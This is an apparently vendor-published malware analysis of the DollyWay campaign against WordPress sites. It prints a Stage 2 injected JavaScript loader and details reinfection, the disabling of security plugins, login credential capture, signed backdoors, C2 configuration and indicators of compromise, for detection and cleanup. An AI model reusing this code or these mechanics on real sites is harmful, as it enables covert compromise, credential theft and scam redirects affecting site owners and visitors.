DollyWay World Domination: Eight Years of Evolving Website Malware Campaigns 

Key findings 

• GoDaddy Security researchers have uncovered a long-running malware operation dating back to 2016 that has compromised over 20,000 websites globally in the past 8 years.
• Campaign infrastructure currently leverages a distributed network of compromised WordPress sites as TDS and Command and Control (C2) nodes. 
• The latest campaign (DollyWay) demonstrates sophisticated capabilities including cryptographically signed data transfers, heterogeneous injection methods, and automatic reinfection mechanisms. 
• Threat actors attempt to maintain control of compromised sites by removing any competing malware and updating WordPress.  

Overview 

GoDaddy Security researchers have uncovered evidence linking multiple malware campaigns into a single, long-running operation we've named "DollyWay World Domination". While previously thought to be separate campaigns, our research reveals these attacks share common infrastructure, code patterns, and monetization methods - all appearing to be connected to a single sophisticated threat actor. The operation was named after the following tell-tale string, which is found in some variations of the malware: define('DOLLY_WAY', 'World Domination');.  

Through extensive analysis spanning eight years of data, we’ve connected seemingly disparate campaigns including Master134, Fake Browser Updates, and CountsTDS into a comprehensive operational timeline. The current iteration, which we track as DollyWay v3, primarily targets visitors of infected WordPress sites via injected redirect scripts that employ a distributed network of Traffic Direction System (TDS ) nodes hosted on compromised websites. These scripts redirect site visitors to various scam pages through traffic broker networks associated with VexTrio, one of the largest known cybercriminal affiliate networks that leverages sophisticated DNS techniques, traffic distribution systems, and domain generation algorithms to deliver malware and scams across global networks. While current monetization relies heavily on redirects, historical campaigns from this actor included more aggressive payloads like ransomware and banking trojans. 

The operation comprises several distinct campaigns known by different names in the security community: 

• Master134 (2016-2020): First identified by CheckPoint researchers in 2018 
• Fake Browser Updates (2018-2019) 
• CountsTDS / DollyRAT / Backdoor.PHP.DOLLYWAY.A / Multistage WordPress Redirect Kit / R_Evil web shell (2020-present) 

The latest variant of DollyWay malware demonstrates significant sophistication, employing multiple layers of obfuscation, cryptographic verification of malicious payloads, and reinfection mechanisms.  

DollyWay: Massive scale and ongoing evolution 

The DollyWay malware works exclusively on WordPress sites. Leveraging a distributed network of C2 and TDS nodes hosted on compromised sites, it redirects site visitors to VexTrio/LosPollos links. Historically, this operation has also used AdsTerra, PropellerAds and some other ad networks to monetize traffic from compromised sites. 

This campaign is known for its sophisticated ways of infecting websites: 

• Cryptographically signed data transfers 
• Heterogeneous injection spread across files and database 
• Automatic reinfection mechanisms 
• Removal of competing third-party malware 
• WordPress updates and site repairs 

As of February 2025, we have seen over 10,000 unique infected WordPress sites worldwide generating around 10 million impressions of web pages with injected malicious scripts for millions of visitors with unique IP addresses every month. 

Technical analysis of current campaign (DollyWay v3) 

In this post, we will refer to the ongoing malicious campaign as DollyWay v3. Version 3 uses wp-content/counts.php scripts on select compromised sites as C2/TDS, while previous versions of DollyWay malware used different file names.  

Redirect script injections 

DollyWay v3 employs a sophisticated four-stage injection chain designed to evade detection.  

Stage 1: Initial injection 

The first stage leverages WordPress's wp_enqueue_script function to append a link to a dynamically generated script loading from the site's main URL whenever someone visits an infected domain. Each injection includes a unique 32-character hexadecimal parameter — an MD5 hash that serves as a site identifier and is different for each infected site.  

From now on, we’ll refer to the initial hexadecimal string as <hex32> and its derivatives as md5(hex32), md5(md5(hex32)) and so on, depending on how many times md5 function was applied. 

The pattern for the Stage 1 injection is: 

<script src="https://<infected-site>/?<md5(hex32)>&amp;ver=<WordPress version>" id="<md5(hex32)>-js"></script> 

Example with a redacted domain of an infected site: 

<script src="https://[redacted]/?ccb2d976143fb8616e62575fafebccbb&amp;ver=6.6.1" id="ccb2d976143fb8616e62575fafebccbb-js"></script> 

The goal is to inject a generic looking script that will leave security scanners that only do static analysis of the HTML code with very little information and hide the real malicious activity in the dynamically generated subsequent stages of the injections. 

Stage 2: Dynamic loading and referrer collection 

Since the URL in the Stage 1 script is not a static .js file, the WordPress engine is used to generate its contents. The DollyWay malware detects that the <md5(hexh32)> parameter is present in the requested URL and hijacks the response generation, producing JavaScript code like this: 

(function() { 
    var ref; 
      var po = document.createElement('script'); 
      po.type = 'text/javascript'; 
      po.async = true; 
      if(document.referrer.length == 0) {ref = 'undefined';} else {ref = document.referrer;} 
      po.src = '?<md5(md5(hex32))>&' + Math.floor(Math.random() * 100000) + '&' + ref; 
      var s = document.getElementsByTagName('script')[0]; 
      s.parentNode.insertBefore(po, s); 
    })(); 

At this point, the malware can still evade some static analysis tools that load links found in the HTML code of the page. So, the goal of Stage 2 is to block static analysis scanners completely and start collecting information that may be used by a TDS while not revealing the malicious behavior. 

To accomplish this, the Stage 2 script dynamically loads the Stage 3 script from the /?<md5(md5(hex32))> URL on the same site, passing the referrer as an additional parameter along with a random number probably added to divert attention. 
 
The URLs of the generated Stage 3 scripts look like this: 

https://[redacted]/?39c67aeb2992af8278ec16172137e422&77947&https://www.google.com/ 

Stage 3: TDS script injection 

Since static analysis scanners can’t also easily discover the Stage 3 scripts, this is where the real malicious behavior begins. To further evade detection, the malware performs some additional server-side filtering as shown below: 

This means that the Stage 3 script will not be generated for:

• WordPress users that are currently logged in  
• Known bots (the malware maintains its own list of around 102 different bot User-Agent strings) 
• Any visitors that come from localhost  
• Visitors that don’t have a referrer (Stage 2 script set to “undefined”) 

For those who don’t fall into the above criteria,  the malware generates a script that tries to dynamically load the Stage 4 scripts from 3 random nodes (third-party infected sites). The malware stores a list of current nodes along with other malware settings encoded as a WordPress option in the wp_options table. 

These nodes act as TDS (traffic direction system) and use the /wp-content/counts.php path in their URLs to return scripts that start the malicious redirect chain. Later, we will show how the nodes also act as C2 servers, providing the malware on infected sites with the most up-to-date set of settings. 

TDS nodes and TDS script URLs 

The TDS URLs contain two extra parameters ?cat and &t. The <cat> is an integer number from 0 to 5 that specifies the desired category of VexTrio scam links to be served to the visitor. The category is saved as “dolly_category” along with other DollyWay settings in the wp_options table. 

• 0 - Dating 
• 1 - Mainstream (Sweepstakes) 
• 2 - Crypto 
• 3 - Gay Dating 
• 4 - Gambling 
• 5 - Cams 

DollyWay v3 most frequently uses the Dating (0) and the Mainstream (1) categories. 

The use of three different nodes at the same time can be explained by their desire to ensure the visitor gets redirected, even if some of the nodes are taken down. Remember, the nodes are also compromised WordPress sites, and the attack operators don’t fully control them and can’t guarantee their uptime. 

To improve chances that some of the nodes are functional, DollyWay maintains a list of C2/TDS nodes that they store in the settings and update them once a day. The list currently consists of 14 nodes and the Stage 3 script randomly picks three of them every time it is triggered. 

Stage 4: The redirect 

The Stage 4 scripts returned by the TDS node is where the actual redirect code can be found.  

All the nodes typically return the exact same script. To avoid multiple redirects, the malware saves the “test” and the “click4” parameters (in Nov 2024, changed to “test01” and “click01” respectively) in the browser's local storage whenever a visitor gets redirected to a scam site. 

The redirect only occurs if these storage parameters are not found and when a visitor clicks anywhere on a web page. 

The redirects consistently go to VexTrio/LosPollos links with the u=7mkpd0d parameter (affiliate user id in the LosPollos system). The &o parameter changes depending on the category specified in the TDS URL For example, ex3wmkx corresponds to the “Dating (0)” category and is specific to this LosPollos user only. 

Each category also has a predefined VexTrio domain name saved on each C2/TDS node. 

After Stage 4, VexTrio/LosPollos control the redirect chain. Usually, site visitors end up on their scam pages. Sometimes the final landing page will be a Google Play page for some legitimate application like Tinder, TikTok, Instagram, that probably buys downstream traffic from LosPollos or when their TDS decides that they are not interested in the visitor. 

Server-side analysis: Advanced persistence and stealth mechanisms 

Now that we know how this malware works from an external perspective, let's explore how everything works behind the scenes. 

Persistent reinfection mechanism 

The malicious PHP code is injected into all active plugins and as WPCode snippets. 

What is more interesting is that injections don’t stop once the site is infected. This malware has a sophisticated reinfection procedure that takes place every time any WordPress page is opened.  

It consists of 4 main steps: 

1. Disables security plugins from its (not very well maintained) built-in list: 
   • Wordfence 
   • Ninja Firewall 
   • MalCare 
   • wp-cerber (WordPress.org repository says: This plugin has been closed as of September 22, 2022 and is not available for download. Reason: Security Issue.) 
   • gotmls/ Anti-Malware Security and Brute-Force Firewall 
   • All-In-One Security (AIOS) 

2. Finds a DollyWay injection in one of the infected plugins or WPCode snippets and re-obfuscates it for every new injection: 
   • Randomly renames variables and functions 
   • Splits string constants with random comments 

3. Re-injects freshly obfuscated DollyWay code into all active plugins that do not contain valid malware
   • Strategically adds extra metadata comment at the top of the file, then injects the malicious code right after that prepending with 1000-2000 spaces so that it is not immediately visible. 

4. Reinfects WPCode snippets 
   • Deletes all WPCode snippets (even legitimate) 
   • Inserts new re-obfuscated malicious snippets 

In both the files and in WPCode snippets, the injected code looks like this: 

With random variables, function names, and obfuscated string constants, the infection looks slightly different in every infected file and DB record.

This procedure makes it hard to remove the malware as it constantly changes. Moreover, if the site has heavy traffic, the chances are it will be reinfected in the process of removing malware. If you fail to remove it from all the active plugins and WPCode snippets before someone loads any page, everything will get reinfected from a single piece of malware that can still be found either in infected plugins or in the malicious WPCode snippets. 

So, in the case of cleanup, the best course of action would be to temporarily take the site down (redirect all traffic to some static page) or, at least, disable all plugins.  (Note: The WPCode plugin will not be visible from the WordPress dashboard because DollyWay hides it.)

WPCode snippets 

The logic of malware reinfections suggests that they install this plugin on compromised sites and add malicious PHP snippets with the execution scope “everywhere”. 

During the never-ending reinfections, they simply delete all WPCode snippets and create new ones with re-obfuscated code. 

It’s not clear what the attackers do when they compromise a site that already uses this popular plugin (WPCode has over 2 million active installations). You can imagine the damage if the site uses WPCode snippets for legitimate functionality. 

As of October 2024, the injected WPCode snippets have specific dates associated with them that can be used as indicators of compromise. 

In wp_posts table: 

• post_date: 2024-07-26 09:19:38 
• post_date_gmt: 2024-07-26 09:19:38 
• post_title: Untitled Snippet 
• post_status: publish 
• post_modified: 2024-07-26 09:25:37 
• post_modified_gmt: 2024-07-26 09:25:37 
• post_type: wpcode 

In wp_options table (option_name: wpcode_snippets): 

• modified: 2024-08-05 10:55:28 
• location: everywhere 
• code_type: php 
• title: Untitled Snippet 

WPCode's presence is pretty visible in the WordPress admin interface — and it is in the attackers’ best interest to keep it a secret so that the site admins don’t suspect that something is not right. 

To accomplish this, the malware removes all WPCode menus from the WordPress dashboard and removes the WPCode from the list of installed plugins. The only way to notice the presence of this plugin and the malicious snippets is to examine the wp-content/insert-headers-and-footers/ directory and the plugin related records directly in the WordPress database. 

Malicious admin users 

The WPCode plugin is not the only thing that malware tries to hide from site owners. It also removes the admin user created by the attackers from the list of existing WordPress users. 

Since 2020, this malware is associated with malicious WordPress admin users that have random hexadecimal up to 32 character long strings as user names using the same name for email address on a similarly random hexadecimal .com domain. 

Key characteristics of malicious admin accounts: 

• Usernames: Random hexadecimal strings (up to 32 characters) 
• Email pattern: <same-as-username>@[random-hex].com 
• Example patterns: 
  • Username: 7591c62c3c443a75fbdf9fadfbe2802f 
  • Email: 7591c62c3c443a75fbdf9fadfbe2802f@113c971f77f8[.]com 
  • Username: 36e21a1c8c 
  • Email: 36e21a1c8c@d5b53904ee84dac8d41331f0b[.]com 

Examples of malicious usernames and email addresses (note, some of these credentials may also belong to previous iteration of the DollyWay campaign): 

Stealing WordPress admin credentials 

Attackers realize that having their own admin user in the system is good but it is not guaranteed that they will always be able to use it. Eventually such users are getting discovered and deleted. Having credentials of real admin users may prove to be a better long term solution. 

That’s why the malware monitors POST parameters from the login form and dumps them into a hidden (filename starts with .) downloadable file on the server.  

DollyWay backdoors 

DollyWay v3 implements multiple sophisticated backdoor mechanisms with cryptographic verification to prevent unauthorized use of the malware. 

When a site GET request contains a predefined <hex32> string, it creates a PHP file with the <hex32>.php name and with the contents extracted from the HTTP cookie with the same <hex32> name. 

Implementation of another arbitrary PHP code execution function is more exotic. The malware monitors request URLs and, if it finds any where the part after the last slash is longer than 90 characters, it tries to extract and execute PHP from it.  

The PHP code is not passed in plain text though and the code execution is preceded by the following procedures on the part of the request after the last slash: 

• The string is sanitized to include only base64 characters. “$” is replaced by “+” and “*” is replaced by “/” 
• The string is broken down into three parts: 
  1. The first 8 characters are the decode key 
  2. The last 88 characters are cryptographic signature 
  3. Everything in between is encrypted data 
• The integrity of data is verified by the cryptographic signature using the hardcoded public key and the openssl_verify function. 
• If the integrity of data is verified, the data is decoded using a custom decoding XOR-based algorithm with additional layers of gzip and base64 (lets call it DollyDecode). 
• Another check is performed once the data is decoded. It should contain the ‘host’ property whose value should match the host of the infected website where this backdoor is being executed. 
• If everything holds, the PHP code from the “code” property of the decoded data is executed. 

This sophisticated backdoor execution procedure has several goals: 

• Allow sending malicious PHP commands in regular GET requests without using cookies 
• Prevent unauthorized use of their backdoors by signing the executable code and specifying the domain for which it is intended: 
  1. So that no one can use the backdoor to take over the site or remotely clean the infection, and; 
  2. No one can execute properly signed backdoor code on a different host (e.g. if you’ve intercepted the backdoor request for one infected site). 

Earlier iterations of DollyWay v3 server-side malware 

Before October 2024, DollyWay v3 used a slightly different approach to website infection. It was based on the codebase of DollyWay v2. 

In 2022, bad actors installed a single “pseudo-legitimate” plugin that was responsible for injection of the redirect scripts into site pages. We use the word “pseudo-legitimate” because these plugins are generated from code of legitimate plugins and themes. They have the initial comment with the plugin metadata copied from random legitimate plugins. Their name may also match the name of that legitimate plugin. The rest of the content doesn’t have anything to do with it though. It is compiled from random functions from random files with sprinkles of malicious code that restores and executes the DollyWay PHP code from multiple WordPress options with seemingly benign names like organizerLoginUrl or wp_vers. 

This approach made the detection of such plugins challenging since they look legitimate at the first glance, there were no obvious malware markers in the plugin files, the malicious code varied from file to file, and the real DollyWay code could only be found encrypted in WordPress database. 

In 2023, Dollyway shifted from using “pseudo-legitimate” plugins to outright fake “must use” plugins. They were placed in the /wp-content/mu-plugins/ directory which doesn’t require plugin activation. 

This particular variant didn’t pretend to be a legitimate plugin. Inside was only obfuscated code, without any plugin metadata whatsoever.  

The fake plugins use random autogenerated names like: 

• chordpress-excellent.php 
• gig-muambator-howdy.php 
• ultimo-mapjam-insertr-lokalise.php 

When decoded, you can see the same approach with loading and executing the DollyWay PHP code directly from random WordPress options.   

The database part of this malware didn’t change much and you can immediately recognize it when you decode the WordPress option and see this line at the top: 

if(!defined('DOLLY_WAY')){ define('DOLLY_WAY', 'World Domination');}

Side-effects of DollyWay malware 

Some iterations of DollyWay v3 malware involve file operations for every page load. If you monitor file creation and deletion events, such activity may be used as an indicator of compromise.  

The names of the temporary files used by this malware may also look a bit off: 

• tmp/base64_decode<random-string> 
• tmp/plugins<random-string> 
• tmp/sys_get_temp_dir<random-string> 
• … 

Additional files and backdoors 

Another backdoor can be found injected at the bottom of random legitimate files. It is usually prepended by hundreds of empty lines, so you may easily miss it when checking files manually. 

The functionality of this backdoor is similar to the first type backdoor that is integrated into the DollyWay v3 malware. It expects the <hex32> REQUEST parameter and if it is found, creates a file on the server with the <hex32>.php name and with contents of the <hex32> parameter. 

DollyWay maintenance and WordPress update scripts 

Two PHP files are especially integral to the malware’s operation and tell-tale behavior.  

WPU.php: WordPress update utility 

The name of the malicious file, wpu.php, can probably be translated as WordPress Update. This script is likely used as some maintenance / support utility both to repair broken sites, install prerequisites and start the malware injection process.  
 
This maintenance script provides several key functions: 

• WordPress core updates 
• WPCode plugin installation and updates 
• Malware installation via the cpl.php script  

We don’t know if all these functions are being used for every injection. What we do know is that we find this file on some compromised sites alongside the DollyWay v3 malware and it belongs to the same campaign. 

The wpu.php file updates the target website’s WordPress core files without using any WordPress functionality. The files are simply fetched from the WordPress SVN repository https://core.svn.wordpress.org/tag/ and the appropriate WordPress version is guessed based on the server's PHP version.  

• PHP 7.2.0 and newer: the malware chooses WordPress 6.6 
• PHP 7.0.x and 7.1.x: the malware chooses WordPress 6.5 
• PHP 7.0.0 and older: the malware chooses WordPress 5.1 

The current iteration of the malware always installs the WPCode version 2.2.1. The plugin files are also fetched directly from the SVN repository: 

• https://plugins.svn.wordpress.org/insert-headers-and-footers/tags/2.2.1 

The script has two main work modes that try to accomplish updates in small batches: 

1. wpu.php?step=<N> WordPress update  
2. wpu.php?ihaf=<N> WPCode update 

The script is intended to work in the browser. You can tell this because it relies on JavaScript redirects to start the next stage/iteration of the update. 

Once both types of updates are done, the script automatically redirects to the cpl.php script most likely to finalize the malware installation. Interesting, that the cpl.php script has two modes of work based on presence of the fast_worker cookie:  

Cpl.php: DollyWay web shell 

The DollyWay v3 malware itself has a function to create cpl.php files, download their PHP code from an external URL, then open that file in a browser. 

We also find backdoors that drop cpl.php files. They are heavily encrypted and can be several hundred Kilobytes in size. When partially decrypted we see the use of the same DollyDecode algorithm as in the main malware. In this case, the missing decoding parameter is retrieved from the cookie “nd_p”. If this parameter is present, the file also injects a JavaScript from //127.0.0.1/d_p.php from the attacker's own computer, which suggests interactive nature of the script. 

The size of code and the fact that attackers want to load it in a browser suggests that this backdoor is some sort of web shell.  

This hypothesis is backed by the analysis of the cpl.php file used in early iterations of this malware back in 2020, when it was possible to easily decrypt it. Let’s just remember that cpl.php was a custom web shell. It has many generic web shell functions such as “file manager”, that can browse, edit, delete and create files, change their permissions, execute arbitrary PHP code. However, a significant share of its functionality is specific to this particular malware campaign. 

For example, it could: 

• Inject the DollyWay malware into websites (back in 2020, they created a malicious version of the Hello Dolly plugin /hello/hello.php),  
• Remove DollyWay malware (all malicious WordPress options, all backdoors, maintenance and files) 
• Install, update, debug WordPress 
• Remove malware from WordPress  

Yes, the attackers are so interested in every compromised website so that they can go a long way to make sure it works properly and no other malware steals traffic from them or attracts unneeded site owner’s attention to security problems that may result in removal of their malware along with other malware that caused the initial scrutiny. 

Back in 2020, malware operators already had over 150 complex signatures to detect and remove various types of malware, including signatures for massive third-party campaigns such as Balada Injector: 

We can only speculate that with thousands of infected sites, the maintenance features of the cpl.php script have not been used for every site, otherwise it would require too much time or dozens of operators working around the clock. Most likely such features are only used for the most important sites (e.g. high traffic or TDS node) and for sites with obvious problems. 

Malware settings and configuration management 

The malware maintains its configuration through encoded WordPress options, storing settings in a sophisticated but discoverable format. Each infected site maintains a unique identifier and configuration set. Settings are stored in the wp_option table in the option with the hex32 name (unique for each site) as base64-encoded serialized data: 

a:4:{ 
  s:5:"nodes";a:14:{ 
    i:0;s:32:"//<node1>/wp-content/"; 
    i:1;s:37:"//<node2>/wp-content/"; 
    i:2;s:39:"//<node3>/wp-content/"; 
    i:3;s:29:"//<node4>/wp-content/"; 
    i:4;s:24:"//<node5>/wp-content/"; 
    i:5;s:46:"//<node6>/wp-content/"; 
    i:6;s:45:"//<node7>/wordpress/wp-content/"; 
    i:7;s:27:"//<node8>/wp-content/"; 
    i:8;s:36:"//<node9>/wp-content/"; 
    i:9;s:22:"//<node10>/wp-content/"; 
    i:10;s:32:"//<node11>/wp-content/"; 
    i:11;s:29:"//<node12>/wp-content/"; 
    i:12;s:32:"//<node13>/wp-content/"; 
    i:13;s:35:"//<node1>/wp-content/"; 
  } 
  s:15:"dolly_last_cron";i:0; 
  s:14:"dolly_category";i:0; 
  s:10:"dolly_name";s:32:"<hex32>"; 
} 

The data consists of a list of (currently 14) nodes. The node URLs belong to infected third-party sites that serve as autonomous distributed C2/TDS. In the above example, we’ve replaced the domain names of the infected sites with <nodeN>. 

The nodes are used to retrieve the most current list of nodes and inject redirect scripts to infected pages. 
Other settings include: 

• dolly_last_cron - timestamp of the last time the nodes were updated (only used if WordPress cron service is disabled) 
• dolly_category - category of VexTrio links to use 
• dolly_name - unique 32-character long hexadecimal string <hex32> 

Command & Control infrastructure 

Daily node list update 

The node list is scheduled to be updated once a day using either WordPress cron jobs or directly through the malware when someone loads an infected web page. 

To update the nodes, an infected site makes server-side requests to each of the current nodes until it receives a valid response from any of them. The node update request URLs look like http://<nodeN>/wp-content/data.txt. 
 
A typical response looks like this: 

Where the first line is a cryptographic signature and the second line is a base64-encoded serialized data with new nodes and category codes. 

The nodes array is saved into malware settings while “subs” are ignored by DollyWay v3. Subs is a legacy from DollyWay v2 that used to pass the “subs” values to the TDS URLs. 

While DollyWay v3 is the most current version of this malware, there are still many infected sites that use the older DollyWay v2 malware. And all the nodes work for both v2 and v3 malware, which explains why you can see data that is no longer used still being passed in the update responses. 

Cryptographic signatures verify data integrity 

The update data is easy to decode, however the malware doesn’t immediately trust it. To apply the update, it should be correctly signed with a private key that only the malware operators have. Additionally, to ensure that the data wasn’t tampered with, the update function uses the public key and the openssl_verify function to verify the signature provided as the first line of the update data. 

This is a natural behavior when they run their C2 centers on compromised sites. This means that at any moment the malware can be detected, removed, or modified. So, they need to guarantee the integrity of the data it tries to pass to infected sites. 

Conclusion 

While this analysis provides insight into DollyWay’s current operations, it represents only the latest chapter in an eight-year evolution of increasingly sophisticated website compromise campaigns. The attention to detail, persistent infrastructure, and unusual focus on maintaining compromised sites points to a highly organized operation that has learned and adapted over nearly a decade.  

In our follow-up analysis, we’ll explore the C2/TDS nodes used by DollyWay malware along with how this campaign evolved from its earliest iterations as “Master134” in 2016 through multiple variants and infrastructure changes. We’ll examine how the operators shift to and from ad network redirects, tech support scams and binary fake browser updates. Stay tuned as we unpack the complete timeline in our next deep-dive.  

Indicators of compromise 

TDS node script URL pattern: 

https://<compromised-site>/wp-content/counts.php?cat=[0|1]&t=<encrypted-ref-domain> 

C2 update URL pattern: 

https://<compromised-site>/wp-content/data.txt 

VexTrio/LosPollos integration: 

• Affiliate ID before September 2021: u=h2xkd0x 
• Affiliate ID after September 2021: u=7mkpd0d 
• LosPollos API key: ea6ff61a45e946c287ea5f121c4f2e4b 
• Domains and LosPollos categories: 
  • Dating: romancezone[.]one 
  • Mainstream: topawardpicks[.]top, yourspacegain[.]top 
  • Crypto: coinsboostbonus[.]top 
  • Gay Dating: hot-gays-quest[.]life 
  • iGaming: your-bigprofit.top 
  • Cams: myhot-cams[.]life 

Redirects after November 20, 2024: 

Pattern:  

hxxps://<subdomain>.<apex-domain>/help/?11341608982415&sub_id_1=<encripted-compromised-domain> 

Example:  

hxxps://dalopt.participates[.]cfd/help/?11341608982415&sub_id_1=[redacted] 

Redirect domains: 

• abstracts.cngsby[.]cfd 
• ity.anoneth[.]fun 
• admirable.brehmed[.]cfd 
• adventure.lantial[.]cfd 
• alignment.econd[.]cfd 
• artistry.cngsby[.]sbs 
• barometer.unroose[.]space 
• breakfast.ffiftringg[.]sbs 
• composure.pedancy[.]fun 
• configure.crellar[.]cfd 
• constructive.curvive[.]space 
• constructive.lantial[.]us 
• dalopt.participates[.]cfd 
• discovered.secamondareeng[.]space 
• expedient.eithert[.]cfd 
• framework.chellor[.]cfd 
• framework.reorget[.]cfd 
• framework.retiont[.]space 
• landscape.chanism[.]sbs 
• landscape.goalked[.]cfd 
• landslide.postume[.]cfd 
• mainframe.crellar[.]sbs 
• methodical.reorgedt[.]fun 
• momentous.debayon[.]sbs 
• overload.threath[.]sbs 
• procedure.secreeng[.]space 
• resonance.agained[.]cfd 
• streaming.threath[.]cfd 
• tavux.participates[.]cfd 
• transmit.chanism[.]cfd 
• tremendous.mcgonal[.]cfd 
• vintage.brehmed[.]sbs 
• workbench.cudwork[.]cfd 
• oldoak.spindexed[.]site
• keenram.anariding[.]site
• premiumservices.approviding[.]store

Server-side IoCs: 

Files used in C2/TDS nodes: 

• wp-content/counts.php 
• wp-content/count.php 
• wp-content/data.txt 
• wp-content/4052e211471469076d33effdf1795b24 // md5('11341608982415') 

WPCode snippets: 

• Table: wp_posts 
  • 'wpcode' 
  • post_date='2024-07-26 09:19:38'
• Table: wp_options 
  • option_name=’wpcode_snippets’ 
  • $wpcode_option[‘everywhere’][0][‘modified’] = ‘2024-08-05 10:55:28’

Encrypted DollyWay code in wp_options table (earlier modifications) 

• CgppZighZGVmaW5lZCgnRE9MTFlfV0FZJykpeyBkZWZpbmUoJ0RPTExZX1dBWScsICdXb3JsZCBEb21pbmF0aW9uJyk7fQoK… 

Strings found in malware (active plugins and WPCode snippets): 

• unserialize(base64_decode('YToxMDM6e2k6MDtzOjY6ImFocmVmcyI7aToxO3M6ODoiYXN0ZXJpYXMiO2k6MjtzOjE 

• unserialize(base64_decode('YToxMzp7czoxMToiUGx1Z2luIE5hbWUiO3M6MTE6IlBsdWdpbiBOYW1lIjtzO 

Temporary file names: 

• <temp-dir>/base64_decode<random-string> 
• <temp-dir>/plugins<random-string> 
• <temp-dir>/sys_get_temp_dir<random-string> 

Malicious admin accounts: 

• Usernames: Random hexadecimal strings (up to 32 characters) 
• Email pattern: <same-as-username>@[random-hex].com 

Public Key: 

-----BEGIN PUBLIC KEY----- 
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKLN9azzu/i/HYvYc+0CW5DViGIuCJbz 
23skWsSTwkO6wSga7QJU+m0elAll3iGTFOSFzXChhlluOrW6+VVLXb8CAwEAAQ== 
-----END PUBLIC KEY-----